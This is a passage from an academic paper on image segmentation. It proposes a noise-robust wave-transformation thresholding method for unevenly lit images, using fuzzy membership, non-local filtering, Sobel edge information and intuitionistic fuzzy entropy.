two categories, namely, bilevel and multilevel thresholding. In bilevel thresholding, pixels are classified into two different brightness regions as background and object. Multi-level thresholding is applied to more complex images, which contain several classes with different gray-level ranges.\n\nMoreover, the current bilevel thresholding (binarization) techniques are usually divided into two classes, global and local thresholding. The global algorithms generally compute a threshold for an image. Most of the global methods originated in the twentieth century, i.e., the 1970s, which can be classified into several main categories. The first category is based on the shape of the histogram, such as valley-seeking method and histogram approximation method . The second category is based on clustering algorithm, such as Otsu’s method and the fuzzy clustering method. The Otsu’s method is one of the most classical clustering methods, which segments an image by maximizing the between-class variance of the thresholded image. The fuzzy clustering method is another classical global method that computes the fuzzy membership between the pixel and the mean value of two classes and finds groups by applying cluster analysis. Entropy-based methods are the third category of global methods, such as the Shannon entropy-based method , the Tsallis entropy-based method , the Renyi entropy-based method [10, 11], and the fuzzy entropy-based method . To improve the robustness to noise, the spatial information is taken into account and many modified versions of the Otsu method , the fuzzy entropy-based method [14, 15], the fuzzy clustering method [16,17,18], and the Renyi entropy-based method [19, 20] have emerged.\n\nMeanwhile, a local method usually computes a different threshold for the neighbor of each pixel or for each appointed block in the image. Local thresholding algorithms are superior to global ones for segmenting uneven lighting images because they can select adaptive threshold values according to the local area information . Neighbor-based and block-based methods are two major styles of local adaption methods. The neighbor-based methods compute a threshold for each pixel based on the statistics of the arrangement, i.e., the variance of its neighborhood region. For example, Bernsen selects the threshold by a function of the highest and lowest grayscale values. In Niblack’s method , a pixel-wise threshold is calculated based on the standard deviation and the local mean of all pixels in the moving window over the gray image. Sauvola et al. [24, 25] first classify each window by content into text, picture, and background and then apply different segmentation rules to the various types of window. Kim modifies Sauvola’s algorithm by introducing more than one window size for the type of text. Moreover, in order to improve the above approaches for the determination of the local threshold, several special features that are extracted in the pixel neighborhood are also taken into account, such as character stroke width and gradient information . In addition, Bradley and Roth introduce spatial variations in lighting and propose a real-time adaptive thresholding technique which has strong robustness to lighting changes in the image by using the integral image of the input. Kim et al. introduce a water flow model for document image binarization. In this model, an image surface is considered as a three-dimensional terrain which is composed of valleys and mountains. Then, they find the local characteristic of the original terrain by pouring some water onto the terrain and computing the filled water. Lastly, they apply a global thresholding algorithm to find the text regions. Moreover, M. Valizadeh and E. Kabir in improve the water flow model and propose an adaptive method to segment degraded document images.\n\nBlock-based methods are another category of local thresholding algorithms, which divide the image into different sub-blocks. The sub-blocks are regarded as separate images and segmented by some principles. For example, Taxt obtains the local threshold for each sub-block based on EM algorithm. Eikvil et al. propose a fast text binarization method by segmenting the sub-blocks based on the Otsu method. Park et al. improve Eikvil’s method by segmenting the object sub-blocks with the Otsu method and the background sub-blocks based on their mean value. Huang et al. propose a method that adaptively selects the block size. Chou et al. discriminate the classification of the sub-blocks based on support vector machine (SVM) and segment the different sub-block types with different strategies.\n\nHowever, there are still several problems in these local thresholding methods. First, the segmentation accuracies of these window merging methods greatly depend on the reasonable selection of the initial window size. Second, partitioning the image into several sub-blocks usually leads to incoherent segmentation results between adjacent sub-blocks. Lastly, the existence of high noise level in the image may cause adjacent pixels of a pixel to contain abnormal features, thus leading to unsatisfactory segmentation results.\n\nA wave transformation model, which is introduced by Wei et al., is a prospective idea for uneven lighting image segmentation . They consider an image surface as a three-dimensional terrain that is composed of mountains and valleys, corresponding to peaks and troughs, respectively, and partition the sub-regions with the local peaks and troughs in multi-directions. Then, a wave transformation is performed on the grayscale waves in the local sub-region, and a matrix of multi-dimensional vectors is obtained. Lastly, the vectors are compressed to one dimension using the principal component analysis (PCA) method, and an Otsu global method is employed to find an optimal wave threshold for segmenting the matrix. This algorithm does not require image partitioning and can yield good segmentation results for uneven light images. However, there are two serious drawbacks of the method. First, it is very sensitive to noise since it does not take into consideration the spatial information in the wave transformation. Second, when the variation of light intensity in the background is too large, it may lead to misclassification of some pixels.\n\nOn the other hand, since Zadeh introduced the fuzzy set (FS) theory, it has been used to solve image segmentation problems regarding vague images. Pal and King first introduce the fuzzy membership function and apply it in grayscale image processing. Then, many image segmentation algorithms based on the fuzzy theory are widely studied and are considered as efficient ways because they can describe the fuzzy uncertainty of images excellently . Atanassov proposes a novel concept of higher order FSs, i.e., intuitionistic fuzzy sets (IFSs), which provides a flexible mathematical frame to address the hesitancy derived from imprecise information. He describes the IFSs by two characteristic functions that express the degree of membership and the degree of non-membership, representing the degree of belongingness and non-belongingness, respectively, of elements to the IFS.\n\nIn this paper, we propose a novel local thresholding algorithm for segmenting uneven lighting images with noise injection. In particular, we introduce the idea of the wave transformation in Wei’s method and partition the image into sub-regions based on the local peaks and troughs in many straight lines extracted by rows and columns. Then, we perform the transformation of grayscale waves using fuzzy membership so that the relative characteristic (the local membership value) of each pixel substitutes its absolute characteristic (its gray level) to reduce the influence of uneven background light. Simultaneously, non-local spatial constraint and edge information obtained by the Sobel operator are taken into account in order to avoid false peak and trough labeling caused by noise injection and large variation of light intensity. Lastly, we model the wave transformation image with the intuitionistic fuzzy theory and use a global intuitionistic fuzzy measure to segment the transformed image.\n\nThe rest of this paper is organized as follows. Section 2 introduces the wave transformation for images and intuitionistic fuzzy set theory. Section 3 describes our segmentation method. Section 4 presents the experimental results and comparison with several well-known segmentation algorithms. Section 5 gives the conclusions.\n\n## Preliminaries\n\n### Wave transformation for computing the local characteristics of an image\n\nIn this section, we give a brief introduction to the wave transformation model proposed by Wei et al. , which is used to reduce the influence of uneven light on the segmentation of images.\n\nThere are many images where the background lighting is noticeably uneven. For these images, it is unreasonable to classify them into objects and backgrounds only based on the absoluteness of the gray levels. However, the relativity of the gray levels in local sub-regions can reflect the difference between the objects and the background. Therefore, in order to reduce the impact of uneven light on the segmented results, the grayscale wave model is proposed by Wei et al. to obtain the local characteristic of a pixel to replace its original gray level. Figure 1c shows the grayscale wave model. The idea of the wave transformation is as follows. First, the image can be treated as a gray wave in three-dimensional space composed of many local sub-regions. These sub-regions are obtained by finding the local peaks and troughs in a set of grayscale wave curves, which are extracted in turn from the image in several given directions. Suppose that in a sub-region, the pixels close by the peak correspond to the object, and the pixels close to the trough correspond to the background. The closeness degree of a pixel to the local peak or trough represents its relative characteristic and is used to substitute its absolute characteristic (its gray level) for segmenting the image. The closeness degree can be reflected by a membership degree and obtained by the wave transformation as follows. Given a direction x, a membership degree is assigned to a pixel according to its location in the local sub-region between two neighboring peak and trough. Especially, the membership degree of the pixel located at the peak is 1, while the membership degree of the pixel located at the trough is 0. Moreover, we can extract grayscale wave curves in several directions and perform the same wave transformation on the curves. Therefore, a pixel has n transformation values corresponding to n different directions. Lastly, these values are pulled together for each pixel according to a principle, and a multi-direction wave transformation can be obtained for an image.\n\nIntuitively speaking, the image can be viewed as waves of the gray pixels. For an individual pixel, its local characteristic is immediately concerned with the location in the corresponding wave. The pixel located at the peak of the wave has a relatively higher level, while the pixel located at the trough of the wave has a relatively lower level. The location of the pixel in the local wave, namely, the wave transformation value that reflects the relative characteristic of a pixel in the local sub-region, can be used to replace its original gray level for segmenting images .\n\nDefinition 1. Extract a straight line f d in a given direction d, which consists of K pixels. Let g(k) = {0, 1, , L − 1} represent the gray level of the line f d , where k = 1, 2, …, K. Suppose that there are m local peaks, which are located at P 1, P 2, , and m + 1 local troughs, which are located at T 1, T 2, , where T 1 < P 1 < T 2 <  < P m  < T m + 1. Given a threshold α [0, L − 1], if g(P i ) − g(T i − 1) > α,  g(P i ) − g(T i ) > α, and i = 1, 2, , m, the transformation value (membership degree) w of the pixel Q(x k , y k ) is :\n\n$$w\\left({x}_k,{y}_k\\right)=\\left\\{\\begin{array}{cc}u\\left(H\\left(k,;,{T}_{i-1},{P}_i\\right)\\right)& k\\in \\left[{T}_{i-1},{P}_i\\right)\\\\ {}u\\left(H\\left(k,;,{T}_i,{P}_i\\right)\\right)& k\\in \\left[{P}_i,{T}_i\\right)\\end{array}\\right.,$$\n(1)\n\nwhere H(k; T i − 1, P i ) = (g(k) − g(T i − 1))/(g(P i ) − g(T i − 1)), u is a monotonous increasing function, and (x k , y k )represents the original coordinate of the kth pixel in the local sub-region ϕ m  = [T m , T m + 1]. The transformation values of pixels in other local sub-regions are obtained in the same way. Then, we obtain the transformation wave vector $$G=\\left\\{{w}_{\\phi_1},{w}_{\\phi_2},\\dots, {w}_{\\phi_m}\\right\\}$$ of the line f d . The transformation process is called one-dimentional (1D) gray scale wave transformation.\n\nDefinition 2. Suppose the image has M straight lines in direction d. Let f d, i represent the i th straight line in direction d, where d = d 1, d 2, …, d n , and i = 1, 2, , M. Let F d, i  = ψ(f d, i ) denote the 1D grayscale wave transformation of the straight line f d, i . w d represents the grayscale wave vector of a pixel Q(x, y) in f d, i in direction d and is described by :\n\n$${w}_d\\left(x,y\\right)={F}_{d,i}\\left(x,y\\right),{Q}_{\\left(x,y\\right)}\\in {f}_{d,i}.$$\n(2)\n\nTherefore, there are n wave vectors $${w}_{d_1},{w}_{d_2},\\dots, {w}_{d_n}$$ for a pixel Q(x, y). The multi-direction grayscale wave transformation Ψ(f) of the image f in all directions d 1, d 2, …, d n is composed by:\n\n$$\\varPsi (f)=\\left\\{\\uppsi \\left({f}_{d_1}\\right),\\uppsi \\left({f}_{d_2}\\right),\\cdots, \\uppsi \\left({f}_{d_n}\\right)\\right\\}.$$\n(3)\n\nNext, we state the reason the grayscale wave transformation can reduce the impact of uneven lighting. Suppose there are two sub-regions, ϕ 1 = [T 1, P 1] and ϕ 2 = [T 2, P 2], i.e., the yellow shadows in Fig. 2, with different lighting strengths in the wave curve g(k).\n\nAccording to Eq. (1), the grayscale wave vectors of the two troughs and peaks are:\n\n$${w}_{T_1}=u(0),\\kern0.5em {w}_{P_1}=u(1),\\kern0.5em {w}_{T_2}=u(0),\\kern0.5em {w}_{P_2}=u(1).$$\n(4)\n\nTherefore, the pixels located at the two peaks have the same wave transformation values, namely, $${w}_{p_1}={w}_{p_2}$$, no matter how large their original gray levels are. Likewise, $${w}_{t_1}={w}_{t_2}$$ for the pixels at the two troughs. Suppose two pixels are located at k 1, k 2 with g(k 1) < g(k 2) in local sub-regions ϕ 1, ϕ 2, i.e., the yellow shadows in Fig. 2, respectively. If H(k 1; T 1, P 1) > H(k 2; T 2, P 2), their transformation values satisfy u(H(k 1; T 1, P 1)) > u(H(k 2; T 2, P 2)) because u is a monotonous increasing function, which indicates that the wave transformation values, located in the green shadows in Fig. 2, depend on the relative characteristics of the pixels rather than their absolute gray levels, thereby reducing the impact of uneven lighting .\n\n### Intuitionistic fuzzy sets and intuitionistic fuzzy entropy\n\nIn this section, we present the basic elements of intuitionistic fuzzy set theory and two fuzzy membership functions, which will be used in the wave transformation model and image segmentation.\n\nDefinition 3. A fuzzy set (FS) $$\\tilde{A}$$ is defined on a universe X and can be described as follows :\n\n$$\\tilde{A}=\\left\\{<x,{\\mu}_{\\tilde{A}}(x)>|x\\in X\\right\\},$$\n(5)\n\nwhere $${\\mu}_{\\tilde{A}}(x)\\in \\left[0,1\\right]$$ is the membership function of $$\\tilde{A}\\in \\mathrm{F}(X)$$ and represents the degree of element x belonging to $$\\tilde{A}$$.\n\nFor fuzzy sets $$\\tilde{A}$$ and $$\\tilde{B}$$, xX, the membership functions of $$\\tilde{A}\\cap \\tilde{B}$$ and $$\\tilde{A}\\cup \\tilde{B}$$ are defined as $${\\mu}_{\\tilde{A}\\cap \\tilde{B}}(x)=\\min \\left({\\mu}_{\\tilde{A}}(x),{\\mu}_{\\tilde{B}}(x)\\right)$$ and $${\\mu}_{\\tilde{A}\\cup \\tilde{B}}(x)=\\max \\left({\\mu}_{\\tilde{A}}(x),{\\mu}_{\\tilde{B}}(x)\\right)$$. $${\\tilde{A}}^c$$ is used to express the complement of $$\\tilde{A}$$, that is, $${\\mu}_{{\\tilde{A}}^c}(x)=c\\left({\\mu}_{\\tilde{A}}(x)\\right)$$ and xX, where c is a complementary function.\n\nDefinition 4. An intuitionistic fuzzy set (IFS) A defined on a universe X is expressed by :\n\n$$\\tilde{A}=\\left\\{<x,{\\mu}_A(x),{v}_A(x)>|x\\in X\\right\\}$$\n(6)\n\nwhere μ A (x)  [0, 1] and v A (x)  [0, 1] represent respectively the degree of membership and non-membership of an element x belonging to A based on the condition 0 ≤ μ A (x) + v A (x) ≤ [0, 1]. Atanassov and Stoeva have introduced an intuitionistic index π A (x) of an element xX in A for an intuitionistic fuzzy set (IFS) A in X as follows:\n\n$${\\pi}_A(x)=1-{\\mu}_A(x)-{v}_A(x).$$\n(7)\n\nπ A (x) is considered as a hesitancy degree of x to A.\n\nMoreover, an FS $$\\tilde{A}$$ defined on X can also be represented using the notation of IFSs as follows: $$\\tilde{A}=\\left\\{<x,{\\mu}_A(x),1-{\\mu}_A(x)>|x\\in X\\right\\}$$ with π A (x) = 0 for all xX.\n\nIn addition, an axiom definition of intuitionistic fuzzy entropy measures is also introduced by Burillo and Bustince to measure the fuzziness of an intuitionistic fuzzy set.\n\nDefinition 5. Intuitionistic fuzzy entropy is a function E :  F(X) → R +(R + = [0, +∞)) and satisfies the following conditions: IFS1: E(A) = 0 iff A is an FS. IFS2: E(A) = Cardinal(X) = n iff μ A (x i ) ≥ v A (x i ) = 0 for all x i X. IFS3: E(A) ≥ E(B) iff AB, i.e., μ A (x i ) ≤ μ B (x i ) and v A (x i ) ≤ v B (x i ), for all x i X. IFS4: E(A) = E(A c).\n\nIn addition, they also introduce an intuitionistic entropy measure based on the above requirements, expressed by :\n\n$$E(A)=\\sum \\limits_{i=1}^n{\\pi}_A\\left({x}_i\\right).$$\n(8)\n\nTo obtain good segmentation, one must select the membership function that can best interpret the image. This section introduces two membership functions which will be utilized in this paper. The first one is an S-function :\n\n$$S\\left(l;a,b,c\\right)=\\left\\{\\begin{array}{cc}0,& 0\\le l<a\\\\ {}{\\left(l-a\\right)}^2/\\left(\\left(c-a\\right)\\left(b-a\\right)\\right),& a<l\\le b\\\\ {}1-{\\left(l-c\\right)}^2/\\left(\\left(c-a\\right)\\left(c-b\\right)\\right),& b<l\\le c\\\\ {}1,& l>c\\end{array}\\right.,$$\n(9)\n\nwhere l is the observed variable and the parameters a, b, c determine the shape of the S-function. The second one is an exponential function defined by Chaira and Ray :\n\n$${\\mu}_F\\left(l;t\\right)=\\left\\{\\begin{array}{cc}\\exp \\left(-\\left(|l-{m}_{\\tilde{D}}|\\right)/\\left({g}_{\\mathrm{max}}-{g}_{\\mathrm{min}}\\right)\\Big)\\right)& \\mathrm{if}l\\le t\\\\ {}\\exp \\left(-\\left(|l-{m}_{\\tilde{B}}|\\right)/\\left({g}_{\\mathrm{max}}-{g}_{\\mathrm{min}}\\right)\\right)& \\mathrm{if}l>t\\end{array}\\right.,$$\n(10)\n\nwhere $${m}_{\\tilde{D}}=\\left({\\sum}_{l=0}^t lh(l)\\right)/\\left({\\sum}_{l=0}^th(l)\\right)$$ and $${m}_{\\tilde{B}}=\\left({\\sum}_{l=t+1}^{L-1} lh(l)\\right)/\\left({\\sum}_{l=t+1}^{L-1}h(l)\\right)$$ are the average values of two parts $$\\tilde{D}$$ and $$\\tilde{B}$$; g max and g min are the maximum and minimum grayscale values of the image, respectively; and t is a threshold that separates the objects from the background.\n\n## The proposed method\n\n### Overview of the approach\n\nAs mentioned in Section 2.1, the wave transformation in Wei’s method can reduce the bad influence of uneven light on the image segmentation by obtaining the local characteristic of each pixel. It is accomplished by dividing the image into a number of local sub-regions and computing the local characteristic value of each pixel based on its location in its corresponding region. Specially, the sub-regions are obtained by searching for local peaks and troughs based on the grayscale levels of pixels within a straight line extracted from the image in a given direction.\n\nHowever, when the image is heavily corrupted by noise, the local characteristics including high-frequency signal with large amplitude have a strong influence on the search of peaks and troughs, namely, the establishment of the local sub-regions and the calculation of the local characteristics of pixels. Therefore, noise injection is one of the greatest challenges of the wave transformation. It is known that the non-local mean-filtered image of the noisy image can retain more information than the median-filtered image and mean-filtered image. In this paper, we propose a novel wave transformation model by introducing fuzzy membership and adding non-local space information and edge information, in order to reduce the influence of uneven light and noise injection on image segmentation. The structure of our algorithm is shown in Fig. 3, which contains mainly the following steps.\n\n• Step 1. We first obtain the non-local mean-filtered image of a gray-level image in order to improve the noise resistance ability.\n\n• Step 2. Then, we apply the wave transformation on the filtered image to eliminate uneven light of the image, namely, computing the local membership value of each pixel by a fuzzy membership function. This procedure is completed by mainly four steps. (1) First, we need to find the local sub-regions that each pixel is located in. More concretely, all straight lines of the image in two given directions (namely, the horizontal and the vertical directions) are extracted. The significant local peaks and troughs in each line are searched for, and two neighboring troughs and peaks constitute a local sub-region. (2) Then, the local membership degrees of each pixel located in the two corresponding sub-regions (respectively in the horizontal and vertical directions) are computed by a fuzzy membership function. (3) Moreover, the local membership degree of each pixel is further revised by combining with its edge information, in order to avoid false peak and trough labeling caused by the large variation of light intensity. (4) Lastly, the local membership degrees in the horizontal and vertical directions for each pixel are integrated with its non-local weight matrix, thus obtaining the final local membership values of all pixels and constituting the wave transformation matrix for the image.\n\n• Step 3. The final membership matrix is used to replace the grayscale matrix of the image; then, it is modeled and segmented with the intuitionistic fuzzy theory.\n\n### Wave transformation of an image using non-local spatial information and fuzzy membership\n\n#### Non-local filter of the image\n\nFor every pixel Q(x k , y k ) in an image f, where (x k , y k ) represents the original coordinate of the kth pixel, the estimated value $$\\overline{Q}\\left({x}_k,{y}_k\\right)$$ with its spatial information is computed as :\n\n$$\\overline{Q}\\left({x}_k,{y}_k\\right)=\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)Q\\left({x}_j,{y}_j\\right),$$\n(11)\n\nwhere $${V}_k^r$$ represents a search window with radius r, which is centered at the pixel (x k , y k ) in the noisy image. The weight v(k, j), $$\\left(j\\in {V}_k^r\\right)$$ between two pixels (x k , y k ) and (x j , y j ) relies on their similarity and is defined by:\n\n$$v\\left(k,j\\right)=\\left(\\exp \\left(-{\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2/{h}^2\\right)\\right)/\\left(Z(k)\\right).$$\n(12)\n\nHere, h is the filtering degree parameter, N k is a z × z square neighborhood centered at the pixel Q(x k , y k ), a(a > 0) is the standard deviation of the Gaussian kernel, and $$Z(k)=\\sum \\limits_{j\\in {V}_k^r}{e}^{-\\left({\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2\\right)/{h}^2}$$ is a normalized constant . The weight v(k, j) depends on the similarity between the neighborhood configurations of the pixel (x k , y k ) and the pixel (x j , y j ), which satisfies 0 ≤ v(k, j) ≤ 1 and $$\\sum \\limits_{j\\in {V}_k^r}v\\left(k,j\\right)=1$$. For the pixel (x k , y k ), the spatial information v(k, j) will be used for the integration of fuzzy memberships in the next section.\n\nTheorem 1. Suppose the gray level of a pixel (x, y) in the uneven lighting image f δ is constituted by f δ (x, y) = f(x, y) + δ(x, y), where f(x, y) is the original intensity of (x, y) in the image with even light and δ(x, y) is the intensity of the uneven light in (x, y). Given that δ(x, y) remains approximately constant in the local region, the estimated value $${\\overline{Q}}_{\\delta}\\left(x,y\\right)$$ of each pixel (x, y) in the uneven lighting image f δ by the non-local filter is equal to the estimated value $$\\overline{Q}\\left(x,y\\right)$$ of (x, y) in the original image f plus the uneven light intensity of (x, y), namely, $${\\overline{Q}}_{\\delta}\\left(x,y\\right)=\\overline{Q}\\left(x,y\\right)+\\delta \\left(x,y\\right)$$ .\n\nTheorem 1 indicates that the non-local filter does not change the light intensities of an image and removes the noise under the premise that the light intensity δ(x, y) remains approximately unchanged in the local region, which is prepared for the follow-up process, i.e., wave transformation.\n\n### Divide the filtered image into local sub-regions by searching for local peaks and troughs in straight lines\n\nAfter obtaining the non-local mean-filter image, the filtered image will be divided into local sub-regions by searching for local peaks and troughs in straight lines which are extracted from the image by rows and columns. Specifically, the straight lines in the image are searched for in two directions, namely, the horizontal direction d H and the vertical direction d V . Let the lines g(k) = f d, i , which are selected in the horizontal direction d H , be the original 1D gray wave curve, where $$k\\left(k=1,\\cdots, K\\right)$$ represents the kth pixel in the ith line. The peaks P = {P 1, P 2, …, P m } and troughs T = {T 1, T 2, …, T m + 1} in the curve g(k) with T 1 < P 1 < T 2 <  < P m  < T m + 1 are found if they satisfy the following conditions:\n\n$$g\\left({P}_i\\right)-g\\left({T}_{i-1}\\right)>\\alpha, \\kern0.5em g\\left({P}_i\\right)-g\\left({T}_i\\right)>\\alpha,$$\n(13)\n\nwhere the parameter α is a preset threshold, which is used to control the sensitivity to the wave with little amplitude caused by noise . In addition, how the value of α is selected is related to the difference of gray levels of pixels in the background and the objects. If α is larger than the least difference of gray levels of pixels in the background and the objects, the objects cannot be extracted. If α is too small, the noise will be classified to the objects.\n\n### Compute the wave transformation value (local membership value) of each pixel in the horizontal and vertical directions using fuzzy membership\n\nAfter finding all the sub-regions constituted by peaks {P 1, P 2, …, P R } and troughs {T 1, T 2, …, T S } in the gray wave curve g(k), the wave transformation can be applied on the pixels in g(k). Suppose there are several local sub-regions ϕ 1, ϕ 2, , ϕ s ,  in g(k). Let a local sub-region ϕ s  = [T s , T s + 1] consist of a peak P s and two troughs T s and T s + 1, where T s  < P s  < T s + 1. Let $${\\phi}_{s_1}=\\left[{t}_s,{p}_s\\right]$$ be the rising edge interval and $${\\phi}_{s_2}=\\left[{P}_s,{T}_{s+1}\\right]$$ be the training edge interval. The local membership degree G(k) of each pixel k in the region $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$ can be determined as follows.\n\nLet the local sub-region $${\\phi}_{s_1}$$ have L gray levels $${f}_{\\phi_1}\\left(\\left\\{q\\right\\}\\right)=\\left\\{g\\left({T}_s\\right),g\\left({T}_s+1\\right),\\cdots, g\\left({P}_s\\right)\\right\\}$$ and the sample space $$X=g\\left({\\phi}_{s_1}\\right)$$, where q = g(k) is the gray level of the pixel k located at (x k , y k ), where k [T s , P s ]. Let the sub-region $${\\phi}_{s_1}$$ be composed of two parts, namely, the background $$\\tilde{D}$$ and the foreground (the objects) $$\\tilde{B}$$. In the sub-region, the pixels close by the peak correspond to the object and the pixels close by the trough correspond to the background. The closeness degree of a pixel to the local peak or trough represents its relative characteristic and can be obtained by a membership value as follows. The membership value $${\\mu}_{d_i}\\left(g(k)\\right)={\\mu}_{d_i}(q)$$ indicates the degree of the pixel k with the gray level q = g(k) belonging to the peak p s in a local interval $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. Based on the S-function in Eq. (9), $${\\mu}_{d_i}\\left(g(k)\\right)$$ is determined by:\n\n$${\\mu}_{d_i}\\left(g(k);g\\left({T}_s\\right),g\\left({P}_s\\right)\\right)=\\left\\{\\begin{array}{cc}2{\\left(\\frac{g(k)-g\\left({T}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2& g\\left({T}_s\\right)\\le g(k)\\le \\frac{g\\left({T}_s\\right)+g\\left({P}_s\\right)}{2}\\\\ {}1-2{\\left(\\frac{g(k)-g\\left({P}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2& \\frac{g\\left({T}_s\\right)+g\\left({P}_s\\right)}{2}<g(k)\\le g\\left({P}_s\\right)\\end{array}\\right.,$$\n(14)\n\nwhere the values g(T s ),  g(P s ) determine the shape of the S-function with g(T s ) < g(P s ). The interval [g(T s ), g(P s )] is called the fuzzy region. Likewise, the membership degree of the pixel k in the training region $${\\phi}_{s_2}=\\left[{P}_s,{T}_{s+1}\\right]$$ can be obtained in the same way. Then, the transformed value G(k) of a pixel k in the local interval ϕ s  = [T s , T s + 1] in the direction d H is as follows:\n\n$${G}_{d_H}(k)=\\left\\{\\begin{array}{cc}{\\mu}_{d_H}\\left(g(k);g\\left({T}_s\\right),g\\left({P}_s\\right)\\right)& k\\in \\left[{T}_s,{P}_s\\right]\\\\ {}{\\mu}_{d_H}\\left(g(k);g\\left({T}_{s+1}\\right),g\\left({P}_s\\right)\\right)& k\\in \\left[{P}_s,{T}_{s+1}\\right]\\end{array}\\right..$$\n(15)\n\nTheorem 2. Suppose the gray level of a pixel (x, y) in the uneven lighting image f δ is constituted by f δ (x, y) = f(x, y) + δ(x, y), where f(x, y) is the original intensity of (x, y) in the image with even light and δ(x, y) is the intensity of the uneven light in (x, y). Given that δ(x, y) remains approximately constant in a local sub-region, the wave transformation matrix by the S-function Ψ(f) of the original image f is approximately equal to the wave transformation matrix Ψ(f δ ) of the uneven lighting image f δ .\n\nTheorem 2 indicates that the wave transformation of an image using the fuzzy membership function (S-function) can reduce the light intensity difference between neighborhood sub-regions, thus markedly decreasing the influence of uneven light on the image segmentation.\n\n### Revise the wave transformation values of each pixel using its edge information\n\nHowever, when the premise that the intensity of uneven light remains approximately unchanged in local sub-regions cannot be satisfied, the local membership by the wave transformation should be modified. That is, when the variation of the light intensity in a pure background is so large that it is bigger than the threshold α in Eq. (13), a false sub-region composed by a peak and a trough must be extracted, thus easily leading to misclassification. This is because in a sub-region, the pixels close to the peak correspond to the object, and the pixels close to the trough correspond to the background according to Wave transformation for computing the local characteristics of an image. Therefore, the pixels in the pure background will be classified into two classes, i.e., the object and the background, by the segmentation of the wave transformation matrix, which actually leads to the misclassification of some pixels to object.\n\nTaking the mouse image, for example, as shown in Fig. 4a, uneven light is very serious in the background regions. When the parameter is set as α = 60, four sub-regions are extracted in the 160th row, namely, (T 1, P 1),  (P 1, T 2),  (T 2, P 2) and (P 2, T 3), as shown in the blue curve in Fig. 4c. The two sub-regions (T 1, P 1) and (P 2, T 3) are extracted due to the large variation of light intensity in the original wave curve. The pixels in the two sub-regions actually belong to the background. However, part of these pixels will be misclassified to objects. Figure 4b shows the edge information of the mouse image. The red curve in Fig. 4c is the edge information in the 160th row of the mouse image. Let us take a closer look at the two curves in Fig. 4c. We can see that there is an obvious difference between the pure background sub-regions (T 1, P 1) and (P 2, T 3) and the mixed sub-regions (P 1, T 2) and (T 2, P 2). There is no edge information in the pure background sub-region (T 1, P 1) since the gray levels of the pixels in the region vary gradually due to the intensity variation of the uneven light. However, there is edge information in the region (P 1, T 2), where some gray levels vary dramatically since there are pixels that belong to two different classes. Therefore, in this paper, we take into consideration the edge information to revise the wave transformation value further.\n\nTo preserve more global (larger) edges and ignore those locally fluctuated (smaller) edges, we use two improved 5 × 5 Sobel operators , $${S}_{d_H}=\\left[2,3,0,-3,-2;3,4,0,-4,-3;6,6,0,-6,-6;3,4,0,-4,-3;2,3,0,3,2\\right]$$ and $${S}_{d_v}=\\left[2,3,6,3,2;3,4,6,4,3;0,0,0,0,0;-3,-4,-6,-4,-3;-2,-3,-6,-3,-2\\right]$$, to convolute the images and check the maximum response of the horizontal and vertical edges. Then, we can obtain\n\n$${E}_{d_H}\\left({x}_k,{y}_k\\right)=\\sum \\limits_{m=0}^4\\sum \\limits_{n=0}^4I\\left({x}_k+m-1,{y}_k+n-1\\right)\\times {S}_{d_H}\\left(m,n\\right),$$\n(16)\n$${E}_{d_V}\\left({x}_k,{y}_k\\right)=\\sum \\limits_{m=0}^4\\sum \\limits_{n=0}^4I\\left({x}_k+m-1,{y}_k+n-1\\right)\\times {S}_{d_V}\\left(m,n\\right),$$\n(17)\n$$E\\left({x}_k,{y}_k\\right)=\\max \\left({E}_{d_H}\\left({x}_k,{y}_k\\right),{E}_{d_v}\\left({x}_k,{y}_k\\right)\\right),$$\n(18)\n\nwhere E(x k , y k ) is the gradient of the point (x k , y k ). Given a constant T, if E(x k , y k ) > T, we consider the point (x k , y k ) to be a boundary point. Then, the gray level g(k) of pixel k in the sub-region $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$ will be transformed by judging whether there is any edge information in $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. Thus, the transformation value of the pixel k [T s , P s ] will be modified as follows.\n\n$${G}_{d_H}^{\\prime }(k)=\\left\\{\\begin{array}{cc}{G}_{d_H}(k)& \\exists j\\in \\left[{T}_s,{P}_s\\right],E\\left({x}_j,{y}_j\\right)\\ge T\\\\ {}\\mathrm{background}& \\mathrm{otherwise}\\end{array}\\right..$$\n(19)\n\nAccording to Theorem 2, it holds under the premise that the intensity of the uneven light δ(x, y) remains approximately constant in each local sub-region. For the pixel k [T s , P s ], the condition j [T s , P s ], E(x j , y j ) ≥ T indicates that there is edge information, and the trough T s and the peak P s are searched for due to the radical change of the gray level in the sub-region $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. That is, there are two different classes in the sub-region. Moreover, the intensity of the uneven light δ(x, y) can be regarded as approximately constant in $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. Then, Theorem 2 holds, and the wave transformation value can remain unchanged, namely, $${G}_{d_H}^{\\prime }(k)={G}_{d_H}(k)$$. If the pixel k [T s , P s ] does not satisfy the condition j [T s , P s ], E(x j , y j ) ≥ T, this indicates that there is no edge information. That is, there is only one class in the sub-region, and the trough T s and the peak P s are searched for due to the gradual change of uneven light intensity in the sub-region $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. Therefore, the variation of uneven light intensity is too large, and its value cannot be regarded as approximately constant in $${\\phi}_{s_1}=\\left[{T}_s,{P}_s\\right]$$. Then, Theorem 2 does not hold, and the wave transformation value $${G}_{d_H}^{\\prime }(k)$$ should be modified to the intensity of the background.\n\n### Integrate the horizontal and vertical transformation values of each pixel with its non-local information\n\nSince the wave transformation is applied on the image in two directions, there are two transformation values for each pixel, namely, two transformation matrices for the image. In this section, we will integrate the two matrices with non-local space information. Let $${G}_{d_H,i}^{\\prime }$$ represent the one-dimensional wave transformation value for the pixel k in the ith line $${f}_{d_H,i}$$ in the direction d H . The horizontal wave transformation matrix $${\\varPsi}_{d_H}(f)$$ of the image is composed by the wave transformation $${G}_{d_H,1}^{\\prime },{G}_{d_H,2}^{\\prime },{G}_{d_H,3}^{\\prime },\\cdots$$ of all lines in the direction d H . Similarly, the vertical wave transformation matrix 